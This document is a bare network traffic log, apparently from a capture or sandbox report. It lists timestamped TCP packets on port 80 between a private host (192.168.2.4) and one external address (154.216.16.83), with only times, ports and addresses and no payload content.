Dec 14, 2024 21:40:47.510575056 CET	80	49912	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.515069962 CET	49912	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.621614933 CET	49912	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.668232918 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.742856026 CET	80	49912	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:47.777314901 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.798319101 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:47.924140930 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:48.225214005 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:48.324537992 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:48.444613934 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:48.745362997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:48.816082001 CET	80	49912	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:48.816404104 CET	49912	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:48.839893103 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:48.918557882 CET	49918	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:48.936729908 CET	80	49912	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:48.936880112 CET	49912	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:48.959757090 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:49.038610935 CET	80	49918	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:49.038819075 CET	49918	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:49.152465105 CET	49918	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:49.260824919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:49.272422075 CET	80	49918	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:49.355586052 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:49.475614071 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:49.809860945 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:49.871162891 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:49.902592897 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.024615049 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.325342894 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.371035099 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.386004925 CET	80	49918	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.386212111 CET	49918	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.465256929 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.496522903 CET	49924	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.506405115 CET	80	49918	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.506623983 CET	49918	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.585588932 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.617223978 CET	80	49924	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.617446899 CET	49924	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.730537891 CET	49924	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.850707054 CET	80	49924	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.886506081 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:50.964811087 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:50.975292921 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:51.095251083 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:51.396814108 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:51.496185064 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:51.616381884 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:51.917254925 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:51.925781012 CET	80	49924	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:51.926069975 CET	49924	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:51.964797020 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.011796951 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.027596951 CET	49925	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.051944971 CET	80	49924	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:52.055049896 CET	49924	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.131620884 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:52.147474051 CET	80	49925	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:52.147548914 CET	49925	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.261920929 CET	49925	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.384505033 CET	80	49925	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:52.432614088 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:52.543159962 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:52.663220882 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:52.964302063 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.043313026 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.163681984 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.457479954 CET	80	49925	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.457612991 CET	49925	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.469161987 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.527379036 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.558893919 CET	49931	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.577784061 CET	80	49925	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.577838898 CET	49925	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.647655964 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.679416895 CET	80	49931	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.679728985 CET	49931	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.793092012 CET	49931	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:53.913124084 CET	80	49931	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:53.948860884 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:54.043066978 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:54.163080931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:54.469108105 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:54.527595997 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:54.650010109 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:54.951462030 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:54.980138063 CET	80	49931	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:54.983186007 CET	49931	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.043217897 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.090357065 CET	49937	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.104605913 CET	80	49931	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:55.107016087 CET	49931	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.163094997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:55.210344076 CET	80	49937	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:55.211224079 CET	49937	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.324587107 CET	49937	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.444652081 CET	80	49937	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:55.470092058 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:55.559175014 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:55.679141045 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:55.980134964 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.058656931 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.181380987 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.480190039 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.518454075 CET	80	49937	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.519340038 CET	49937	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.543118000 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.621287107 CET	49938	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.642843962 CET	80	49937	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.646078110 CET	49937	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.665302992 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.741323948 CET	80	49938	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.745861053 CET	49938	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.855446100 CET	49938	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:56.966196060 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:56.975898027 CET	80	49938	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:57.043009043 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:57.163157940 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:57.471359015 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:57.527404070 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:57.649086952 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:57.950198889 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:57.996125937 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.049567938 CET	80	49938	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.049660921 CET	49938	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.116507053 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.152642012 CET	49944	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.169960976 CET	80	49938	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.170027971 CET	49938	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.277321100 CET	80	49944	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.277529955 CET	49944	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.389786005 CET	49944	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.417942047 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.487942934 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:58.509922981 CET	80	49944	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.607810974 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.909702063 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:58.949294090 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.076286077 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.375308037 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.433852911 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.553863049 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.583189011 CET	80	49944	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.583368063 CET	49944	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.683965921 CET	49950	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.703711987 CET	80	49944	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.703895092 CET	49944	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.805002928 CET	80	49950	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.805088043 CET	49950	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.854866028 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:59.902946949 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:59.919420958 CET	49950	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:00.023382902 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:00.039400101 CET	80	49950	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:00.329834938 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:00.371076107 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:00.371364117 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:00.491375923 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:00.792613029 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:00.824491024 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:00.947525024 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.101385117 CET	80	49950	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.101506948 CET	49950	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:01.215747118 CET	49955	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:01.222381115 CET	80	49950	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.222632885 CET	49950	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:01.248471022 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.293143988 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:01.335737944 CET	80	49955	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.335967064 CET	49955	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:01.413209915 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.449304104 CET	49955	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:01.569154024 CET	80	49955	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.716598034 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:01.746893883 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.074204922 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.115142107 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.194329023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.416279078 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.449331999 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.569257021 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.637125015 CET	80	49955	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.638351917 CET	49955	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.746629000 CET	49957	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.758923054 CET	80	49955	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.758985996 CET	49955	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.866522074 CET	80	49957	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.866679907 CET	49957	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.881700039 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:02.918411016 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:02.982644081 CET	49957	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:03.039235115 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:03.104523897 CET	80	49957	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:03.340663910 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:03.374089003 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:03.537134886 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:03.837749004 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:03.871215105 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:03.991369009 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.169181108 CET	80	49957	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.169349909 CET	49957	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.277863979 CET	49963	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.289653063 CET	80	49957	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.289738894 CET	49957	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.292092085 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.324842930 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.397919893 CET	80	49963	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.399207115 CET	49963	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.444686890 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.512512922 CET	49963	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.632853985 CET	80	49963	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.751523018 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:04.794399977 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:04.915811062 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.215513945 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.246356010 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:05.366272926 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.667215109 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.683828115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:05.700937986 CET	80	49963	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.701363087 CET	49963	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:05.804702044 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.809657097 CET	49969	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:05.821552992 CET	80	49963	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.821748972 CET	49963	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:05.929888964 CET	80	49969	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:05.930124044 CET	49969	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:06.043625116 CET	49969	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:06.105580091 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:06.140614033 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:06.163805962 CET	80	49969	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:06.260673046 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:06.577357054 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:06.605648041 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:06.725523949 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.062359095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.090065002 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.210059881 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.228804111 CET	80	49969	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.229059935 CET	49969	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.340500116 CET	49970	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.349562883 CET	80	49969	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.349798918 CET	49969	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.460469961 CET	80	49970	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.460788965 CET	49970	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.511946917 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.543965101 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.574331045 CET	49970	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:07.664136887 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.694165945 CET	80	49970	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.965560913 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:07.980644941 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:08.127100945 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:08.437212944 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:08.465188980 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:08.585310936 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:08.778402090 CET	80	49970	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:08.778650045 CET	49970	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:08.887061119 CET	49976	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:08.890760899 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:08.899022102 CET	80	49970	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:08.899167061 CET	49970	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:08.902767897 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:09.007039070 CET	80	49976	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:09.007534027 CET	49976	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:09.023212910 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:09.121279001 CET	49976	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:09.241269112 CET	80	49976	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:09.327246904 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:09.339970112 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:09.459882975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:09.760898113 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:09.777435064 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:09.897274971 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.198436975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.215068102 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.311145067 CET	80	49976	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.311284065 CET	49976	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.335164070 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.418761969 CET	49982	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.434134007 CET	80	49976	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.434403896 CET	49976	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.538836002 CET	80	49982	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.543101072 CET	49982	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.636579037 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.652605057 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.652932882 CET	49982	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:10.772666931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:10.772759914 CET	80	49982	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.075026989 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.090078115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:11.210236073 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.511356115 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.527569056 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:11.647516012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.858522892 CET	80	49982	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.858747959 CET	49982	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:11.962455988 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.965411901 CET	49983	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:11.980818033 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:11.982021093 CET	80	49982	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:11.982753038 CET	49982	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:12.085439920 CET	80	49983	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:12.085618019 CET	49983	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:12.100812912 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:12.199275970 CET	49983	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:12.319463968 CET	80	49983	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:12.401753902 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:12.418196917 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:12.538216114 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:12.839469910 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:12.855797052 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:12.976516962 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.277797937 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.293075085 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.385720968 CET	80	49983	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.385835886 CET	49983	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.413366079 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.496807098 CET	49989	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.507363081 CET	80	49983	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.507427931 CET	49983	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.616868019 CET	80	49989	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.617038965 CET	49989	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.714382887 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.730746031 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.731059074 CET	49989	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:13.850910902 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:13.850954056 CET	80	49989	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:14.152138948 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:14.168054104 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:14.288032055 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:14.589292049 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:14.605739117 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:14.726774931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:14.924364090 CET	80	49989	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:14.924554110 CET	49989	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.027720928 CET	49995	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.028136015 CET	80	49740	154.216.16.83	192.168.2.4
